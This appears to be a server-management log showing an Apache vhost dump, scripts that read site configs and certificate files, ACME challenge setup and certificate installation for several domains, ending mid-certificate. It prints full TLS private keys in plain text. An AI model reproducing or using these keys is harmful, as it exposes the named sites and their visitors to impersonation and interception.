         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:23)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
         port 443 namevhost login.vela.work (/etc/apache2/sites-enabled/vela_login_work.conf:22)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-27 06:00:45: 

PUT: /tmp/pkp458022

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-27 06:00:45: 

chmod 755 /tmp/pkp458022; /tmp/pkp458022; rm /tmp/pkp458022

2026-06-27 06:00:45: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf	1673

<VirtualHost *:80>
    ServerName	media.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_media/public
    <Directory /var/www/hopeinstoughton_media>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Directory /var/www/hopeinstoughton_media/public/static>
        Header	add Access-Control-Allow-Origin "*"
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/media_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/media_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	media.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt
    DocumentRoot	/var/www/hopeinstoughton_media/public
    <Directory /var/www/hopeinstoughton_media>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Directory /var/www/hopeinstoughton_media/public/static>
        Header	add Access-Control-Allow-Origin "*"
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/media_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/media_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-06-27 06:00:45: 

PUT: /tmp/pkp734334

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-27 06:00:45: 

chmod 755 /tmp/pkp734334; /tmp/pkp734334; rm /tmp/pkp734334

2026-06-27 06:00:45: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt	7440
e6:89:e5:c4:03:d2:01:36:c7:8b:8a:dc:51:0a:68:ad

-----BEGIN CERTIFICATE-----
MIIFCzCCA/OgAwIBAgISBfkq9UwerWJyJFhRWKi0lBjBMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNjI3MDUwMjE0WhcNMjYwOTI1MDUwMjEzWjAkMSIwIAYDVQQD
ExltZWRpYS5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAjMUHvfJ2k9fzDxHdF6kSliC1J/oMdtnD8KEo6NWS5B0w3pOh
O+UmkAwE7Fd/BFkncy7Wm2u09Qv9lS4rAccWvzvhfGPLM6p0CIC2Q213HYHBPcwl
MqLPzBP50UCEQN0B0YjJw+lqMvo6eZbGxzs6F2vGZ6xFuZNJN6qch3D3mvyrjYAx
SbTsNJ91epsftYbt8C1EfDaWa8oh9rJCYj/UZiYkHLnxw0Yrek/Q02HOtsPFvEYD
wWRWLdyPYpKlYLH1lbGyD1S5A/rbJ4kGiRv36OacNkLH/e9ytWPj9FKjwfx8/vMt
vgs+/PdDaEIwBEZuMtneiCZtIGC1y1Dr9tQW1QIDAQABo4ICJjCCAiIwDgYDVR0P
AQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFPbw/EmroL64UTc88VABJhIYB+6BMB8GA1UdIwQYMBaAFB8vNb5GFILN
QLGueSxVePr31Gj7MDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3lyMS5pLmxlbmNyLm9yZy8wJAYDVR0RBB0wG4IZbWVkaWEuaG9wZWluc3RvdWdo
dG9uLm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1o
dHRwOi8veXIxLmMubGVuY3Iub3JnLzY2LmNybDCCAQsGCisGAQQB1nkCBAIEgfwE
gfkA9wB2AJROQ4f67MHvgfMZJCaoGGUBx9NfOAIBP3JnfVU3LhnYAAABnweqhyAA
AAQDAEcwRQIgH1U/vl6Cu/brWXK0uNFyc3q4x1mMH8pKvIvFrN7fjIwCIQDj5KX0
yJEb9RzygopgZxEx4vU1x+8/sLoGW7Y41f52CAB9ABqLnWsP/r+BtHk5xtIxCobW
0QLU8EbiGCyd419eJiXvAAABnweqh30ACAAABQAjj4iJBAMARjBEAiA3+rH8vyCO
aDEMUUtqQXD5DZ31JexGsGOew6MleoU68QIgMLLbFvie/BTcEjvwFQPj9A9pFVvy
xljbBwvfRAFK1OEwDQYJKoZIhvcNAQELBQADggEBAAHMWfdS01BOPrqFcYo4j9jM
g9fxzNXnSq0ZBcdYHR8AJiZIo+ZM+mWuXr2e/bv6s4kFt8H00Vtu8CYp8y7pJtuH
QIMT6NqLhZuoXi0jB84Dm+RdRhGBDTfQjShPEiKkuQubmxhRS752EpoWOv9mJK/f
zcOY+qkeWVqawAU8dgUvX6hVbdSBuQFv/skE9QK5c10rCOLvzXYfIcOSbk05A/Tx
ODZd00vWnvl0xLG96Q7waQuZfqCfLMKrYPtQZpMjtHfytm6au5YiS7i4MzXQszs7
7LUZolqpZn00NFWOHcIlWabUX6qJ3BiuAU6bkg0pOSA5EwWP3oJeMTxKSuHvkVI=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCMxQe98naT1/MP
Ed0XqRKWILUn+gx22cPwoSjo1ZLkHTDek6E75SaQDATsV38EWSdzLtaba7T1C/2V
LisBxxa/O+F8Y8szqnQIgLZDbXcdgcE9zCUyos/ME/nRQIRA3QHRiMnD6Woy+jp5
lsbHOzoXa8ZnrEW5k0k3qpyHcPea/KuNgDFJtOw0n3V6mx+1hu3wLUR8NpZryiH2
skJiP9RmJiQcufHDRit6T9DTYc62w8W8RgPBZFYt3I9ikqVgsfWVsbIPVLkD+tsn
iQaJG/fo5pw2Qsf973K1Y+P0UqPB/Hz+8y2+Cz7890NoQjAERm4y2d6IJm0gYLXL
UOv21BbVAgMBAAECggEANp64y04KDoGLMPy4cdbLfG8Ce5l9Ppxud67Apd9A2Lwu
2x4jQI9AcEIJov6sLS6+rOWupa2cEDzvzvOUAmOSgu8kJdS+4rQvw6DVl8IgptVS
+rx8bnJX+JKDq1rCNjzK2NefmiG2cENBby4+wM1NVAsgd9eTUldA4JWVmMQPfxYZ
1O6ijtyKIckznZMyMxgqA47117k3IDuH5J90Waac2/ajhZzqGN7f3+a3WvxWVO8g
iuywq2sRjT8t+AraMlQGctW0EaTopYGA5zmyP9RGsZpFAkWqDiyKJ0QMNlfP8rku
Qb1iHKme5rBR1mb5IlfYf10sTWvTb3WHLO/Z6vYzXQKBgQC+uTf+ZKt+N3z9WR49
z4qtK/zsUgR4HzmnyWm158cT2ezpX+MEbBX/EwBmq7S5DXo7QEBUEcDmnavdc8wT
sIlTaTVbA9bvp/oHU3Na14kaZ9vpvt83/e9Z6ItRP1lyk38qkP6L+0x9Aiphs4jv
/6lebABbTWrPnzx9BtJubJMrWwKBgQC88vZY35bnm6FIRfvFsnUhG5APSo0jSbVu
zzYn+dztGX4BBQRvGXdXZJifAD7s9OhltVKYE8o+zezereycXh5WQhF/T3SfWDdo
bw3F7wTUzqP2/Rhlqzppw09upvWlQGXa/hT4KEk8skDmwKABjsGoXSgucnlS6dIy
j7s81GXNjwKBgQCK0hoVioTgy9aoOTOv3d6ciYYBJPmnzWKT5CCTjO70Xgz5GRgO
YfXowZXrJVPX1h1//xZTmtCDi4RLHjwOoNJz6gIyCytpKSTuLCmsl3FtzObezlV/
Vc/f60lsi+W5Ze6LtxnwHavg2bCriJhFyBspZQclbcYu9UJ75nlIcrL0PQKBgQCw
2sEWQoGe257EZSzZyMW1bXUTuvYMF4vI4g6QsGDHVFsKXUXfL3jyxefMu5Aqfrmf
qW5bhfqBeoHBlA2p9rZyiniSLy67jviduYSsxaJCBgCWyCMz1mdgYz1QFtpKCNLN
fZDnDd4u/7GbyqR5kMNW8YsQnnlM0Cq8xKe+shdvpQKBgBoyzjYGW/+P4h0naIOV
OYoVW1vqTwg7/c7Y2qhTp9D857lNtqQgM/wWdtzZuk3nU2l7mydRXmHr6jJ4Y5uY
PJSsMJ1T8Cns3vSZIz6WdgrIdo1H/r74axOq3TQkVIpkq0IQ1XyJ1MnrRlnofjsi
xPw0B5TSEoRQXjYY3fypfoe4
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----






2026-06-27 06:00:45: Establishing a connection
2026-06-27 06:00:46: Establishing a connection
2026-06-27 06:00:46: 

PUT: /tmp/pkp802340

#!/bin/bash
if [ -d "/var/www/carelinksaustralia_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-06-27 06:00:46: 

chmod 755 /tmp/pkp802340; /tmp/pkp802340; rm /tmp/pkp802340

2026-06-27 06:00:46: 


1


2026-06-27 06:00:46: Establishing a connection
2026-06-27 06:00:46: 

PUT: /tmp/pkp587340

#!/bin/bash
mkdir -p "/var/www/carelinksaustralia_www/.well-known/acme-challenge/"
cd "/var/www/carelinksaustralia_www/.well-known/acme-challenge/"
cat > 2KqRi7XikHmRHVgGGVm6J6KjUdd2VM2wKLDZ5CC7s20 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
2KqRi7XikHmRHVgGGVm6J6KjUdd2VM2wKLDZ5CC7s20.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 2KqRi7XikHmRHVgGGVm6J6KjUdd2VM2wKLDZ5CC7s20
cat > F9h5t4i7-bDJpWPADJ4ILud8Zes1yq3gy8bRBSx7IBI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
F9h5t4i7-bDJpWPADJ4ILud8Zes1yq3gy8bRBSx7IBI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 F9h5t4i7-bDJpWPADJ4ILud8Zes1yq3gy8bRBSx7IBI


2026-06-27 06:00:46: 

chmod 755 /tmp/pkp587340; /tmp/pkp587340; rm /tmp/pkp587340

2026-06-27 06:00:46: 




2026-06-27 06:00:54: Establishing a connection
2026-06-27 06:00:55: 

PUT: /tmp/pkp263318

#!/bin/bash
mkdir -p "/var/www/carelinksaustralia_www/.well-known/acme-challenge/"
cd "/var/www/carelinksaustralia_www/.well-known/acme-challenge/"
rm 2KqRi7XikHmRHVgGGVm6J6KjUdd2VM2wKLDZ5CC7s20
rm F9h5t4i7-bDJpWPADJ4ILud8Zes1yq3gy8bRBSx7IBI


2026-06-27 06:00:55: 

chmod 755 /tmp/pkp263318; /tmp/pkp263318; rm /tmp/pkp263318

2026-06-27 06:00:55: 




2026-06-27 06:00:55: Establishing a connection
2026-06-27 06:00:55: 

PUT: /tmp/pkp814629

#!/bin/bash
temp_file=$(mktemp)
TARGET=01bea5c16e52f9c5f2fcf9fea9a569f2.crt

cat > $temp_file <<'endmsg'
45:5a:56:7f:f7:42:eb:2c:f7:7e:10:4c:be:84:e2:8c

-----BEGIN CERTIFICATE-----
MIIFJDCCBAygAwIBAgISBXu+xiJT1PrmXxo3kWpvf9uNMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNjI3MDUwMjI0WhcNMjYwOTI1MDUwMjIzWjAiMSAwHgYDVQQD
ExdjYXJlbGlua3NhdXN0cmFsaWEuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBAJ9sbhNdZh0XBMcVIQYreMNXekL9H99zreRQePCKdHHk2nK341fE
f53SspIiZa7Cgvs9CAEnJ8XU1yeyvXHFiy7Z1/4+bzBRF5ESA07QoKagL9YiRLIr
P3y452JmvaEZ2CkV291f0XSbuxXkYQsdZAljipTrHnBz2cmX7wQLsjJhCWLIxk2C
3Jh31PdIQjaXckB4uGgiUdOYrnM/dPmNKIiaoPEljnCWJ1zmwCPahC94IzmJjW4w
WFZ4ok8/aVtp2T8AMlk6kjR15AaXbLTn0Yw8eTIAQzMlwcOtvKEn5DcyEXVC+xTl
41E60u9NZuhBDloaDtCLNM6+utSpsHFf6I8CAwEAAaOCAkEwggI9MA4GA1UdDwEB
/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBTlX87UTkzQm6YN0vMNOS0s0khH+DAfBgNVHSMEGDAWgBQfLzW+RhSCzUCx
rnksVXj699Ro+zAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly95
cjEuaS5sZW5jci5vcmcvMD8GA1UdEQQ4MDaCF2NhcmVsaW5rc2F1c3RyYWxpYS5p
bmZvght3d3cuY2FyZWxpbmtzYXVzdHJhbGlhLmluZm8wEwYDVR0gBAwwCjAIBgZn
gQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3lyMS5jLmxlbmNyLm9yZy8x
NC5jcmwwggELBgorBgEEAdZ5AgQCBIH8BIH5APcAdgDCMX5XRRmjRe5/ON6ykEHr
x8IhWiK/f9W1rXaa2Q5SzQAAAZ8Hqq+MAAAEAwBHMEUCIQCPqMMJkQT8guarl26k
F36Z08/UES2oRBkQbmS6DJTM9AIgUYW1CLJKTERKOfMgG4sjNf4JfJH+NZPedbI9
BAQbdwEAfQBGr4Y9Oz7ln6V33qgkXTaw2e0ioiP0YXdBIpRS7pVQXwAAAZ8HqrBj
AAgAAAUACuQ/jgQDAEYwRAIgS6/5POeE2OA93BQoou+jdm6SQAqmq+ogKyY+b8eZ
o4oCIBx4oLyIHN9YLEJX2i2q0fhhltn9IyKUDvA0AN5xGGv3MA0GCSqGSIb3DQEB
CwUAA4IBAQA9OtkimAh1ddam3mvG+ihi5ejJCYLMH6R9HzAbcKHMMM44Pv816EjC
zd4m/BYAQByLEYCGMRZa4PsZ+QawXPNLhJR7EuhJDSz3mgRdt+BPY/cRWm2DsmwJ
M9zvRoOxZAh8a8WqUEv1ZPAuHLY3ZY8vrDosyflSbmJ/2QneA2IyW2w3vfv/xGVJ
KTe8Eni2golqGtIBjnsXXtIIQrhv8hDyMnoeYTWq3SjqHpKEtSBEgJaY7728xhKe
C0zFm6Tf2s8gWG/P0CmV4fWH0+bT/lDeIoW5NQLgcK5I5my9r/hOtkD5I4n6zYMF
VqSfZw9flftwqeTJCaSFua0HKamZl+/u
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCfbG4TXWYdFwTH
FSEGK3jDV3pC/R/fc63kUHjwinRx5Npyt+NXxH+d0rKSImWuwoL7PQgBJyfF1Ncn
sr1xxYsu2df+Pm8wUReREgNO0KCmoC/WIkSyKz98uOdiZr2hGdgpFdvdX9F0m7sV
5GELHWQJY4qU6x5wc9nJl+8EC7IyYQliyMZNgtyYd9T3SEI2l3JAeLhoIlHTmK5z
P3T5jSiImqDxJY5wlidc5sAj2oQveCM5iY1uMFhWeKJPP2lbadk/ADJZOpI0deQG
l2y059GMPHkyAEMzJcHDrbyhJ+Q3MhF1QvsU5eNROtLvTWboQQ5aGg7QizTOvrrU
qbBxX+iPAgMBAAECggEAHOys2gmXlc6P2Nj+CWMIwZRVA+NuDXotAiARmT7dmq51
bdvsPQfTSZypNndUMI1s+01a7u6eOjgAI108HvDC7Gis1h2YydDksDbu77VNeH3W
wAiuow7SsXvQy1stq5WHUQj8v6D7XSdGHdY2PzCBbmynf5ZbCvcR/A/7VyYSGi6U
f+p8FAoVahuP67liez/UYEYpQ7fwlobvrmLL5Jmquz5SmEm/GiyGbxx9jTo8gGhu
SSr5tsYEOVRhnXIjdG8ia/2Hl9vR3UK22++DB/cEL/RBWrNXZPBMPZXKeBuychuc
z08XCjPz7L1Fk40wKQUltXpz9X9Z8dukKxtdIHjM/QKBgQDUyngQRUpO+67V6Pvn
AI6IujGybldoALGVgys2XdEP1nTIy8ShVCrDu+jIMUQLs41zwzH1V3VBTW2T1qkP
M0hQKkUkDLQl7mRmIIKPknuulm3c27PUyJLoCBVmm0zV2Qf+3naBLnnLfXd5QHz6
EmCU2lMQWCt5u96NrY8xsXb2vQKBgQC/y8LUcULjcpZWCnLY3egb3qVKa+rr7HgF
TnSVmghZDOUNy74kTenq3YZS8EcjoczD/SJzSf0A5S7cnJypnGPULJj2LVzSlOBe
dkeyROa+1iYUYJ4tin+I0Mpb/SHuWLHMVsr2KesVdGzIclpRo4taBRYYiHi3op4U
UBLxottnOwKBgG7CyQYnGwvLw/DCakSOrKKM0IuBFewj2Evrz9VntgeZaIaQUlRr
XCswJ3X09udkWa+1Hc8H7BfGts/qP2uTFQPtTLn8BtVrpkTmjS8wX0K8OIlqrsuG
b7lpY8JZ+f+iDaBjqamKSIlcUJEDuUntwOoaTnxGeLLP0INMoSmLp1G9AoGBAIYR
NdBwl5QL/kCIrz0e6OfKW3pJM37U3hS/gcktUdaFp/tbxz7zY6b0ULfbE685o7wA
TzuNpZghm/9ETlJVaobe4dF7Zh4hSTFetsFLXoxZf2bRHuCwpnOJl1pz+Gr2ftpa
dSdbp+Nobb40CSR2EKvNUGO3ycJ7nsqOKp/T+lAPAoGATB3UJgyj35fA3TaFNFWL
vHL8aFNuHaADodcBuDwPJd0VrxRRsF4G+bC2c8Cu2KGQPpa0TeIpMOfqbrUcqFKT
iG5zgijTzYh5OkO52UecAh+eEgov5m4hDW3tN6CzTMgNW0OHbJclG78emksUNnj+
/KA270M3rrZRnCRdJGUCk7U=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
